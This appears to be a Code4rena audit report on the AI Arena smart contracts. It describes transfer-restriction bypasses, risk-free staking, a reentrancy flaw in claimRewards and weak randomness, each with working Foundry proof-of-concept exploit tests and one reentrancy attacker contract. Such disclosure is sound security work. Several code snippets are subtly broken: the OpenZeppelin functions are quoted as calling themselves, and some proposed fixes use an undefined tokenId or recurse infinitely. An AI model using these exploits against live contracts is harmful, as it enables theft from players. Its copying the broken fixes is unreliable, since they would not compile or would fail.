AI Arena - PedroZurdo's results

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L338-L365

Vulnerability details

[H] Missing override of the safeTransferFrom with 4 parameters of the ERC721 Openzeppelin contract could generate infinite points by bypassing the business logic

Context: https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L338-L365

Description: There is no override of the function safeTransferFrom with 4 parameters in the FighterFarm contract. This can cause a bypass of the business logic. Allowing the user to transfer a token without the _ableToTransfer business logic.

The function safeTransferFrom with 4 parameters is defined in the ERC721 Openzeppelin contract as follows:

    function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) public override {
        safeTransferFrom(from, to, tokenId, _data);
    }

A malicoius user could earn points during the game on a nft, transfer it to a new address (which has 100 voltage to initiate fights by default). In the new address there is no possibility to lose points since on the RankedBattle:_addResultPoints() function, in the calculation accumulatedPointsPerAddress[fighterOwner][roundId] -= points; there will be a revert since the accumulatedPointsPerAddress[fighterOwner][roundId] is 0 causing an underflow. The malicious user could fight until getting one win and repeat the process to get infinite points.

Impact: This malicious process of the user bypassing the _ableToTransfer business logic and transfer a token without the proper checks, with the exploit described above, the user could get infinite points. Making the attacker win large portion of the prize pool and discouraging other players to play the game.

Proof of Concept: The attacker could call the safeTransferFrom function that is not overriden and bypass the _ableToTransfer business logic. In the proof of code below, we will show how the user can transfer a token that is staked. Win points and then transfer the token to a new address and repeat the process to get infinite points.

Proof of Code (Copy this test into the RankedBattle.t.sol to try it)

    function testSafeTransferFromNotOverridenWillNotFailWithNftStakedGeneratesInfinitesPoints() public {
        bytes memory data = abi.encodePacked("test");
        uint256 tokenId = 0;

        address attacker = makeAddr("attacker");

        _mintFromMergingPool(attacker);
        _fundUserWith4kNeuronByTreasury(attacker);
        assertEq(_fighterFarmContract.ownerOf(tokenId), attacker);
        // stake NRN (this also set the nft as staked)
        vm.prank(attacker);
        _rankedBattleContract.stakeNRN(3_000 * 10 ** 18, tokenId);
        assertEq(_rankedBattleContract.amountStaked(tokenId), 3_000 * 10 ** 18);


        // win a battle with the staked nft
        vm.prank(address(_GAME_SERVER_ADDRESS));
        _rankedBattleContract.updateBattleRecord(tokenId, 50, 0, 1500, true); // 0 is a win
        assertEq(_rankedBattleContract.accumulatedPointsPerAddress(attacker, 0) > 0, true);
        assertEq(_rankedBattleContract.accumulatedPointsPerFighter(tokenId, 0) > 0, true);

        // transfer the nft to another account with the safeTransferFrom function that is not overridden (the one with parameter data) bypassing the check if the nft is staked
        address attacker2 = makeAddr("attacker2");
        vm.prank(attacker);
        _fighterFarmContract.safeTransferFrom(attacker, attacker2, 0, data);
        assertEq(_fighterFarmContract.ownerOf(0), attacker2);

        // The player will not lose points if they lose the battle since it will revert (not wasting voltage also)
        vm.prank(address(_GAME_SERVER_ADDRESS));
        vm.expectRevert();
        _rankedBattleContract.updateBattleRecord(tokenId, 50, 2, 1500, true); // 2 is a loss

        // The player will win points if they win the battle
        uint256 accumulatedPointsOfPlayer = _rankedBattleContract.accumulatedPointsPerAddress(attacker2, 0);
        vm.prank(address(_GAME_SERVER_ADDRESS));
        _rankedBattleContract.updateBattleRecord(tokenId, 50, 0, 1500, true); // 0 is a win
        assertEq(_rankedBattleContract.accumulatedPointsPerAddress(attacker2, 0) > accumulatedPointsOfPlayer, true);
    }

Recommended Mitigation: Override the function safeTransferFrom with 4 parameters in the FighterFarm contract. So the user can not bypass the _ableToTransfer business logic. The function will look like this:

+    function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) public override {
+        require(_ableToTransfer(tokenId, to));
+        super._safeTransfer(from, to, tokenId, "");
+    }

Assessed type

Token-Transfer

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/GameItems.sol#L291-L303

Vulnerability details

[H] Missing override of the safeBatchTransferFrom of the ERC1155 Openzeppelin contract cause a bypass of the business logic

Context: https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/GameItems.sol#L291-L303

Description: There is no override of the function safeBatchTransferFrom in the GameItems contract. This can cause a bypass of the business logic. Allowing the user to transfer ERC1155 token that are not transferable. Bypassing the require statement:

    require(allGameItemAttributes[tokenId].transferable);

The function safeBatchTransferFrom is defined in the ERC1155 Openzeppelin contract as follows:

    function safeBatchTransferFrom(address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data) public override {
        safeBatchTransferFrom(from, to, ids, amounts, data);
    }

Impact: The user can bypass the business logic and transfer ERC1155 token (Items) that are not transferable. This can enable the user to transfer tokens that are not allowed to be transferred by the protocol. Gain an unfair advantage in the game.

Proof of Concept: The user can call the safeBatchTransferFrom function from the ERC1155 contract directly and bypass the business logic. In the proof of code below, we will show how the user can transfer a token that is not transferable.

Proof of Code (Copy this test into the GameItems.t.sol to try it)

// The following test will show that the contract did not override safeBatchTransferFrom from ERC1155
// So the require(allGameItemAttributes[tokenId].transferable) will not be called in the safeBatchTransferFrom function
        function testSafeBatchTransferFromWithItemsNotTransferableWillNotFail() public {
        _fundUserWith4kNeuronByTreasury(_ownerAddress);
        vm.startPrank(_ownerAddress);
        // mint a game item (battery)
        _gameItemsContract.mint(0, 1);
        // set the game item to not transferable
        _gameItemsContract.adjustTransferability(0, false);

        address test = makeAddr("test");

        uint256[] memory ids = new uint256[](1);
        ids[0] = 0;
        uint256[] memory amounts = new uint256[](1);
        amounts[0] = 1;

        // transfer the non transferable game item to another account
        _gameItemsContract.safeBatchTransferFrom(_ownerAddress, test, ids, amounts, "");
        vm.stopPrank();
        assertEq(_gameItemsContract.balanceOf(test, 0), 1);
        assertEq(_gameItemsContract.balanceOf(_ownerAddress, 0), 0);
        }

    // ConterExample (This test will fail with safeTransferFrom)
        function testSafeTransferFromWithItemsNotTransferableWillFail() public {
        _fundUserWith4kNeuronByTreasury(_ownerAddress);
        vm.startPrank(_ownerAddress);
        _gameItemsContract.mint(0, 1);
        _gameItemsContract.adjustTransferability(0, false);

        address test = makeAddr("test");
        assertEq(_gameItemsContract.balanceOf(_ownerAddress, 0), 1);
        
        vm.expectRevert();
        _gameItemsContract.safeTransferFrom(_ownerAddress, test, 0, 1, "");
        vm.stopPrank();
        }

Recommended Mitigation: Override the function safeBatchTransferFrom in the GameItems contract. So the user can not bypass the business logic. By adding the require statement to the function. The function will look like this:

+    function safeBatchTransferFrom(address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data) public override {
+        require(allGameItemAttributes[tokenId].transferable);
+        super.safeBatchTransferFrom(from, to, ids, amounts, data);
+    }

Assessed type

Token-Transfer

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/RankedBattle.sol#L439

Vulnerability details

[H] Risk free battle possibility by staking minimum amount of NRN avoiding the risk of losing NRN

Context: https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/RankedBattle.sol#L439

Description: The calculation of the potential amount of NRN to put at risk or retrieve from the stake-at-risk contract is calculated in the RankedBattle as follows:

curStakeAtRisk = (bpsLostPerLoss * (amountStaked[tokenId] + stakeAtRisk)) / 10**4;

Notice that bpsLostPerLoss = 10 by default, so if the amountStaked is between 0 and 999 NRN initially (stakeAtRisk = 0), the curStakeAtRisk will be 0. This enables the player to have a risk-free battle by staking the minimum amount of NRN. Since the player will not lose any NRN, they can keep battling until they win, gaining some points.

This allow the player to stake large amounts of NRN after without the risk of losing it, since if they lose, by having the previously points earned with the small amount of NRN, there will be no loss of NRN. Because the protocol only puts NRN at risk if points = 0.

This check can be see here :https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/RankedBattle.sol#L472C11-L498C14

After the player has won a battle with the large amount of NRN, they can unstake all the NRN and keep the points. This lets the user win a risk-free amount of points which results in an unfair advantage when the rewards are distributed. Notice that the points will not be reduced if there is not NRN stake.

This logic can be see here: https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/RankedBattle.sol#L342C1-L344C10

Impact: The player can have a risk-free battle by staking the minimum amount of NRN. This can enable the player to gain an unfair advantage in the game. Corrupting the game economy and the fairness of the game.

Proof of Concept: The user can stake the minimum amount of NRN and battle without the risk of losing NRN. In the proof of code below, we will show how the user can have a risk-free battle. We will show the two scenarios, the first one is the user staking the minimum amount of NRN and winning the battle, and the second one is the user staking the minimum amount of NRN and losing the battle.

Proof of code (copy these test into RankedBattle.t.sol to try it)

    // curStakeAtRisk = (bpsLostPerLoss * (amountStaked[tokenId] + stakeAtRisk)) / 10**4; By default bpsLostPerLoss is 10, so if (amountStaked + stakeAtRisk) is smaller than 10**4 it will be 0
    // In the test we will stake a number between 1 - 999 using fuzztesting, this will make curStakeAtRisk to be 0, and the player will not lose any points if they lose the battle.
    function testSmallAmountNRNStakeCanLeadToFreeFightPosibilityCaseLosing(uint256 nrnAmount) public {
        vm.assume(nrnAmount < 10**3);
        vm.assume(nrnAmount > 0);

        address player = vm.addr(3);
        uint256 accumulatedPointsOfPlayer;

        _mintFromMergingPool(player);
        _fundUserWith4kNeuronByTreasury(player);

        // Staking with a small amount of NRN
        vm.prank(player);
        _rankedBattleContract.stakeNRN(nrnAmount, 0);
        assertEq(_rankedBattleContract.amountStaked(0), nrnAmount);

        accumulatedPointsOfPlayer = _rankedBattleContract.accumulatedPointsPerAddress(player, 0);
        assertEq(accumulatedPointsOfPlayer, 0);

        // Winning a battle with the small amount of NRN staked will give the player a small amount of points
        vm.prank(address(_GAME_SERVER_ADDRESS));
        _rankedBattleContract.updateBattleRecord(0, 50, 0, 1500, true);

        accumulatedPointsOfPlayer = _rankedBattleContract.accumulatedPointsPerAddress(player, 0);
        assertEq(accumulatedPointsOfPlayer > 0, true);
        console.log("accumulatedPointsOfPlayer", accumulatedPointsOfPlayer);

        // Stake a lot of NRN to have a chance to win a lot of points, or just lose the very little points gained with the small amount of NRN staked
        vm.prank(player);
        _rankedBattleContract.stakeNRN(10**18, 0);

        assertEq(_rankedBattleContract.amountStaked(0), 10**18 + nrnAmount);
        uint256 totalAmountStaked = _rankedBattleContract.amountStaked(0);

        // Losing the battle will just affect the player's points not the NRN staked
        vm.prank(address(_GAME_SERVER_ADDRESS));
        _rankedBattleContract.updateBattleRecord(0, 50, 2, 1500, true);
        (,, uint256 losses) = _rankedBattleContract.fighterBattleRecord(0);
        assertEq(losses, 1);

        // The player will have the same amount of NRN staked
        console.log("totalAmountStaked: ", totalAmountStaked);
        console.log("amountStaked: ", _rankedBattleContract.amountStaked(0));
        assertEq(totalAmountStaked, _rankedBattleContract.amountStaked(0));

        // The player will have less points
        uint256 newAccumulatedPointsOfPlayer = _rankedBattleContract.accumulatedPointsPerAddress(player, 0);
        assertEq(newAccumulatedPointsOfPlayer < accumulatedPointsOfPlayer, true);
        console.log("newAccumulatedPointsOfPlayer: ", newAccumulatedPointsOfPlayer);

    }

    function testSmallAmountNRNStakeCanLeadToFreeFightPosibilityCaseWinning(uint256 nrnAmount) public {
        vm.assume(nrnAmount < 10**3);
        vm.assume(nrnAmount > 0);

        address player = vm.addr(3);
        uint256 accumulatedPointsOfPlayer;

        _mintFromMergingPool(player);
        _fundUserWith4kNeuronByTreasury(player);

        // Staking with a small amount of NRN
        vm.prank(player);
        _rankedBattleContract.stakeNRN(nrnAmount, 0);
        assertEq(_rankedBattleContract.amountStaked(0), nrnAmount);

        accumulatedPointsOfPlayer = _rankedBattleContract.accumulatedPointsPerAddress(player, 0);
        assertEq(accumulatedPointsOfPlayer, 0);

        // Winning a battle with the small amount of NRN staked will give the player a small amount of points
        vm.prank(address(_GAME_SERVER_ADDRESS));
        _rankedBattleContract.updateBattleRecord(0, 50, 0, 1500, true);

        accumulatedPointsOfPlayer = _rankedBattleContract.accumulatedPointsPerAddress(player, 0);
        assertEq(accumulatedPointsOfPlayer > 0, true);
        console.log("accumulatedPointsOfPlayer", accumulatedPointsOfPlayer);

        // Stake a lot of NRN to have a chance to win a lot of points, or just lose the very little points gained with the small amount of NRN staked
        vm.prank(player);
        _rankedBattleContract.stakeNRN(2000 * 10 ** 18, 0);

        assertEq(_rankedBattleContract.amountStaked(0), 2000 * 10 ** 18 + nrnAmount);
        uint256 totalAmountStaked = _rankedBattleContract.amountStaked(0);

        // Winning the battle will GIVE A LOT OF POINTS
        vm.prank(address(_GAME_SERVER_ADDRESS));
        _rankedBattleContract.updateBattleRecord(0, 50, 0, 1500, true);
        (uint32 wins,,) = _rankedBattleContract.fighterBattleRecord(0);
        assertEq(wins, 2);

        // The player will have the same amount of NRN staked
        console.log("totalAmountStaked: ", totalAmountStaked);
        console.log("amountStaked: ", _rankedBattleContract.amountStaked(0));
        assertEq(totalAmountStaked, _rankedBattleContract.amountStaked(0));

        // Points earned
        uint256 newAccumulatedPointsOfPlayer = _rankedBattleContract.accumulatedPointsPerAddress(player, 0);
        assertEq(newAccumulatedPointsOfPlayer > accumulatedPointsOfPlayer, true);
        console.log("newAccumulatedPointsOfPlayer: ", newAccumulatedPointsOfPlayer);
        console.log("difference: ", newAccumulatedPointsOfPlayer - accumulatedPointsOfPlayer);
    }

Recommended Mitigation: The amount of NRN that can be staked should be have a minimum amount that will make the curStakeAtRisk to be greater than 0. This will prevent the player from having a risk-free battle by staking the minimum amount of NRN. The protocol could also put NRN at risk if the player has points. The protocol could also reduce the points if the player has no NRN staked.

Assessed type

Invalid Validation

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/MergingPool.sol#L139

Vulnerability details

[H] Reentrancy possibility in claimRewards(): malicious contract with more than one winning round can call claimRewards() multiple times and mint more fighter NFTs than expected

Context: https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/MergingPool.sol#L139

Description: The claimRewards function in the MergingPool contract allows a malicious contract to call it multiple times and mint more fighter NFTs than expected. Since the lowerBound of the loop is only set at the beggining of the function, the attacker contract could call the claimRewards function that uses _safeMint() in the FighterFarm contract to mint the fighter NFTs. The _safeMint() function can be reentrant if the attacker contract implements the onERC721Received function. So basically the attacker can mint the second NFT twice, the third NFT three times and so on. The attacker can mint more NFTs than expected.

Impact: The attacker can mint more NFTs than expected, causing an inflation of the NFTs and a loss of value for the players. Since the attacker can sell the NFTs in the market, the attacker can make a profit from the inflation of the NFTs.

Proof of Concept: The attacker set up a contract that implements the onERC721Received function and calls the claimRewards function multiple times. The attacker can mint more NFTs than expected. In the proof of code below, we will show how the attacker can mint 3 NFTs instead of 2 by having 2 winning rounds.

Proof of Code (Copy this test and the attacker contract into the MergingPool.t.sol to try it)

    // Reentrancy test for the MergingPool contract in the claimRewards function
    // This Reentrancy is possible when the user has more than one winning rounds to reclaim fighter nfts
    // Notice that there is only 2 winners per round as winnersPerPeriod states in MergingPool.sol
    function testReentrancyAttack() public {
        // Create an instance of the attacker contract
        ClaimrewardsReentrancyAttacker attackerContract =
            new ClaimrewardsReentrancyAttacker(address(_mergingPoolContract));

        // Mint a fighter to the attacker contract
        _mintFromMergingPool(address(attackerContract));
        assertEq(_fighterFarmContract.ownerOf(0), address(attackerContract));

        _mintFromMergingPool(_DELEGATED_ADDRESS);
        assertEq(_fighterFarmContract.ownerOf(1), _DELEGATED_ADDRESS);

        string[] memory _modelURIs = new string[](2);
        _modelURIs[0] = "ipfs://bafybeiaatcgqvzvz3wrjiqmz2ivcu2c5sqxgipv5w2hzy4pdlw7hfox42m";
        _modelURIs[1] = "ipfs://bafybeiaatcgqvzvz3wrjiqmz2ivcu2c5sqxgipv5w2hzy4pdlw7hfox42m";
        string[] memory _modelTypes = new string[](2);
        _modelTypes[0] = "original";
        _modelTypes[1] = "original";
        uint256[2][] memory _customAttributes = new uint256[2][](2);
        _customAttributes[0][0] = uint256(1);
        _customAttributes[0][1] = uint256(80);
        _customAttributes[1][0] = uint256(1);
        _customAttributes[1][1] = uint256(80);

        // set two winning rounds
        uint256[] memory _winners = new uint256[](2);
        _winners[0] = 0;
        _winners[1] = 1;

        // roundId 0 is picked
        _mergingPoolContract.pickWinner(_winners);
        assertEq(_mergingPoolContract.isSelectionComplete(0), true);
        assertEq(_mergingPoolContract.winnerAddresses(0, 0) == address(attackerContract), true);
        assertEq(_mergingPoolContract.winnerAddresses(0, 1) == _DELEGATED_ADDRESS, true);
        // roundId 1 is picked
        _mergingPoolContract.pickWinner(_winners);
        assertEq(_mergingPoolContract.isSelectionComplete(1), true);
        assertEq(_mergingPoolContract.winnerAddresses(1, 0) == address(attackerContract), true);
        assertEq(_mergingPoolContract.winnerAddresses(1, 1) == _DELEGATED_ADDRESS, true);

        // Call the claimRewards function from the attacker contract
        address attacker = makeAddr("attackerUser");
        vm.prank(attacker);
        attackerContract.executeAttack();

        // The attacker will ended up with 1 (ORIGINAL) + 2 (2 ROUNDS WINNING) + 1 (REENTRANCY) = 4 fighters
        assertEq(_fighterFarmContract.balanceOf(address(attackerContract)), 4);
        console.log("The attacker ended up with 4 fighters");
    }

// This is the attacker contract that implements the onERC721Received function
contract ClaimrewardsReentrancyAttacker {
    address _mergingPoolAddress;

    constructor(address victim) {
        _mergingPoolAddress = victim;
    }

    function onERC721Received(address, address, uint256, bytes calldata) external returns (bytes4) {
        _reentrancyCallback();
        return this.onERC721Received.selector;
    }

    function executeAttack() public {
        string[] memory _modelURIs = new string[](2);
        _modelURIs[0] = "ipfs://bafybeiaatcgqvzvz3wrjiqmz2ivcu2c5sqxgipv5w2hzy4pdlw7hfox42m";
        _modelURIs[1] = "ipfs://bafybeiaatcgqvzvz3wrjiqmz2ivcu2c5sqxgipv5w2hzy4pdlw7hfox42m";
        string[] memory _modelTypes = new string[](2);
        _modelTypes[0] = "original";
        _modelTypes[1] = "original";
        uint256[2][] memory _customAttributes = new uint256[2][](2);
        _customAttributes[0][0] = uint256(1);
        _customAttributes[0][1] = uint256(80);
        _customAttributes[1][0] = uint256(1);
        _customAttributes[1][1] = uint256(80);

        _mergingPoolAddress.call(
            abi.encodeWithSignature(
                "claimRewards(string[],string[],uint256[2][])", _modelURIs, _modelTypes, _customAttributes
            )
        );
    }

    function _reentrancyCallback() internal {
        console.log("\n>>> Execute attack");
        executeAttack();
    }

    fallback() external payable {}

    receive() external payable {}
}

Recommended Mitigation: Use the ReentrancyGuard of the Openzeppling library in the claimRewards function to prevent reentrancy attacks. The ReentrancyGuard will prevent the attacker contract from calling the claimRewards function multiple times.

+import "@openzeppelin/contracts/security/ReentrancyGuard.sol";

+contract MergingPool is ReentrancyGuard {
    ...
    function claimRewards(
        string[] memory _modelURIs,
        string[] memory _modelTypes,
        uint256[2][] memory _customAttributes
+    ) external nonReentrant {
        ...
    }
    ...
}

Assessed type

Reentrancy

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L214

Vulnerability details

[M] Weak PRNG when claiming NFTs could lead to users waiting for the ideal stats before claiming, discouraging the claim mechanism.

Context: https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L214

Description:

The use of the address plus the amount of NFTs to determine the DNA could make users not claim them thus making the game less interesting (since no new fighters would make everyone face the same NFTs over and over).

When any winner calls claimFighters the DNA is determined by hashing msg.sender and fighters.length together. Since the DNA is used to determine the element and weight, any user could potentially hold their claim until the result is favorable.

Impact: This could make the protocol have a slow start since on the first rounds (when there is a lesser amount of NFTs) no one would be encouraged to claim past rewards.

Recommended Mitigation: I would recommend to look a way to generate random numbers (for example, Chainlink VRF) to not enable the users to calculate the DNA.

Assessed type

Other

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/GameItems.sol#L147-L176

Vulnerability details

[M] Missing check of the allowanceRemaining when transferring ERC1155 token

Context: https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/GameItems.sol#L147-L176

Description: There is a daily limit amount of Items a user can mint, if a user wants more of that item, the user can create another account mint the item, and transfer it back. This allows the user to surpass the amount of transferable items that can be mint per account per day. The function safeTransferFrom in the GameItems contract does not check the allowanceRemaining before transferring the ERC1155 token causing a bypass of the business logic.

Impact: The user can bypass the allowanceRemaining amount of tokens that can be mint per account by transfering with other accounts. This can enable the user to mint more tokens than allowed by the protocol. Gain an unfair advantage in the game.

Proof of Concept: The user can mint the maximum amount of tokens, then transfer the tokens to the account he want. The user can repeat this process to bypass the allowanceRemaining amount of tokens that can be mint per account.

Proof of code (Copy this test into the GameItems.t.sol to try it

    // In this following test we will mint the max allowance of a game item and then create another account, mint it and then transfer the game item to the first account
    function testHavingMoreThanAllowanceByMintingAndTransfering() public {
        _fundUserWith4kNeuronByTreasury(_ownerAddress);
        vm.prank(_ownerAddress);
        // Mint the max allowance of the game item
        _gameItemsContract.mint(0, 10);
        assertEq(_gameItemsContract.balanceOf(_ownerAddress, 0), 10);
        assertEq(_gameItemsContract.getAllowanceRemaining(_ownerAddress, 0), 0);

        // Create another account
        address test = makeAddr("test");
        _fundUserWith4kNeuronByTreasury(test);
        vm.prank(test);
        // Mint the max allowance of the game item
        _gameItemsContract.mint(0, 10);
        assertEq(_gameItemsContract.balanceOf(test, 0), 10);

        // Transfer the game item to the first account
        vm.prank(test);
        _gameItemsContract.safeTransferFrom(test, _ownerAddress, 0, 10, "");
        assertEq(_gameItemsContract.balanceOf(_ownerAddress, 0), 20);
    }

Recommended Mitigation: Add a check of the allowanceRemaining before transferring the ERC1155 token. The function will look like this:

    function safeTransferFrom(address from, address to, uint256 id, uint256 amount, bytes memory data) public override { 

+       require(allowanceRemaining(to, id) >= amount, "GameItems: Not enough allowance remaining");
        require(allGameItemAttributes[tokenId].transferable);
        safeTransferFrom(from, to, id, amount, data);
    }

Assessed type

Token-Transfer